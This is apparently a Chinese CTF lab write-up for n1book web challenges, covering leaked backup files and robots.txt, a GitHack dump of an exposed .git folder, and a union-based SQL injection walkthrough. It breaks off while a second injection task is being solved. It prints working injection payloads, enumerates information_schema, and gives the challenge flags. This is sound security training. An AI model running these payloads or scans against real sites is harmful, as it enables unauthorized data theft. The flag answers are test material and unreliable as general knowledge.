常见的搜集
这里提示敏感文件
可以想到敏感文件的类型
1.gedit备份文件
格式:filename~
ex.index.php~
2.vim备份文件
格式:.filename.swap *.swo *.swn
ex.index.php.swp
3.robots.txt
可以通过访问每个目录得到flag
也可以使用扫描软件 扫描目录
刚开始使用dirsearch本地跑 发现字典不够扫不出index.php~
换成了kali的dirsearch扫描 成功扫出
发现如下
访问之后如下
robts.txt
得到一个/flag1_is_her3_fun.txt
按照提示访问得到flag前半段
flag1:n1book{info_1
访问index.php~
得到一半flag2:s_v3ry_im
访问/.index.php.swp
得到文件 打开搜索flag 可以找到最后的一半flag3:p0rtant_hack}
综上,拼接以上flag:n1book{info_1s_v3ry_imp0rtant_hack}
粗心的小李
打开环境 网页如下
这里提示了:如果配置不当,可能会将.git文件夹直接部署到线上环境,引起了git泄露漏洞
可以知道是关于Git测试,使用GitHack脚本测试
在kali中使用GitHack脚本对其测试
按照其路径打开发现index.html
得到flag:n1book{git_looks_s0_easyfun}
SQL注入-1
打开网页 显示如下 没什么特别的
url发现不一样的地方 按照常规sql思路走
先测试有无sql注入存在
证明有sql注入存在
找注入点
payload
/index.php?id=1' and 2=3
页面回显错误
测字段
payload
?id=1' order by 5 --+
这里直接用5进行测试 回显报错 4也是回显报错
试到3的时候回显正常 说明字段数为3
测回显点
payload
?id=-1'%20union%20select%201%2C2%2C3%3B%23
爆库
payload
?id=-1' union select 1%2Cdatabase()%2C3%3B%23
?id=-1' union select 1,2,3;#
库名为note
爆表
payload
id=-1'%20union%20select%201%2Cgroup_concat(table_name)%2C3%20from%20information_schema.tables%20where%20table_schema%3D'note'%3B%23
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note';#
回显如下,有两个表:fl4g,notes
爆列
猜测fl4g表下更有可能有flag,查fl4g表下的列
payload
?
id=-1'%20union%20select%201%2Cgroup_concat(column_name)%2C3%20from%20information_schema.columns%20where%20table_schema%3D'note'%20and%20table_name%3D'fl4g'%3B%23
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='note' and table_name='fl4g';#
回显如下
查表内容
查fllllag表里内容
payload
?id=-1'%20union%20select%201%2Cfllllag%2C3%20from%20note.fl4g%3B%23
?id=-1' union select 1,flllllag,3 from note.fl4g;#
得到flag:n1book{union_select_is_so_cool}
SQL注入-2
打开页面 显示如下
页面没有任何提示 源代码也没有
返回题目页面有其他提示
访问/login.php/user.php 如下
查看源代码 发现有一行提示
回显如下
尝试猜测账号
这里尝试了admin password 提示账号或密码错误
换一个尝试 提示账号不存在 所以用户名为admin